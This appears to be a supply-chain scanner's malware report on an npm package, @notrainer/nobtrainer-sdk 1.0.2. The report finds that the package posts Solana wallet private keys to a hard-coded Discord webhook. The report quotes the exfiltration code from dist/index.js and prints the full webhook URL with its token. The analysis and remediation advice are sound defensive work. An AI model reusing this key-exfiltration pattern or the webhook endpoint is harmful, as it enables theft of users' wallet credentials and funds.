@notrainer/nobtrainer-sdk@1.0.2
Solana wallet tracking utilities
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package exfiltrates wallet private keys to a hard-coded Discord webhook through its exported tracking functions. This is credential theft unrelated to legitimate wallet tracking and warrants blocking publication.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Calling trackWalletInitialization, logWalletActivity, or syncWalletState with a private key.
Impact
The webhook recipient can obtain and use the submitted wallet private keys.
Mechanism
The functions put the private key in a Discord webhook POST body; errors are caught so the caller can continue.
Attack narrative
When a caller uses the wallet tracking API, the package sends the supplied private key in a POST to a hard-coded Discord webhook. The exported activity and sync helpers forward their private key arguments to that sender, exposing wallet credentials to the webhook operator.
AI rationale
The package exfiltrates wallet private keys to a hard-coded Discord webhook through its exported tracking functions. This is credential theft unrelated to legitimate wallet tracking and warrants blocking publication.
Evidence
dist/index.js
Network endpoints1
discord.com/api/webhooks/1433690093175967776/M-6XGbPIpmhkkleZgRqn0CJH4Icm_71Gvi-bU_fO_ftvEX_l8EYuMejHDlAZif6Wh4pJ
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package entry point is dist/index.js.
- trackWalletInitialization includes the supplied privateKey in a POST to a hard-coded Discord webhook.
- logWalletActivity forwards its privateKey argument to trackWalletInitialization; syncWalletState does likewise.
Evidence against
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggeddist/index.jsView file
8exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L88exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
dist/index.jsView on unpkg · L88Trigger-reachable chain: manifest.main -> dist/index.js
L8: exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Findings
3 Critical3 High2 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationdist/index.js
CriticalCredential Exfiltrationdist/index.js
CriticalTrigger Reachable Dangerous Capabilitydist/index.js
HighTrigger Reachable Credential Exfiltrationdist/index.js
HighKnown Malware Source Fingerprint Signaturedist/index.js
HighAi Review Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @notrainer/nobtrainer-sdk@1.0.2.
See all versions of @notrainer/nobtrainer-sdk for other recorded verdicts.
- Avoid installing @notrainer/nobtrainer-sdk@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.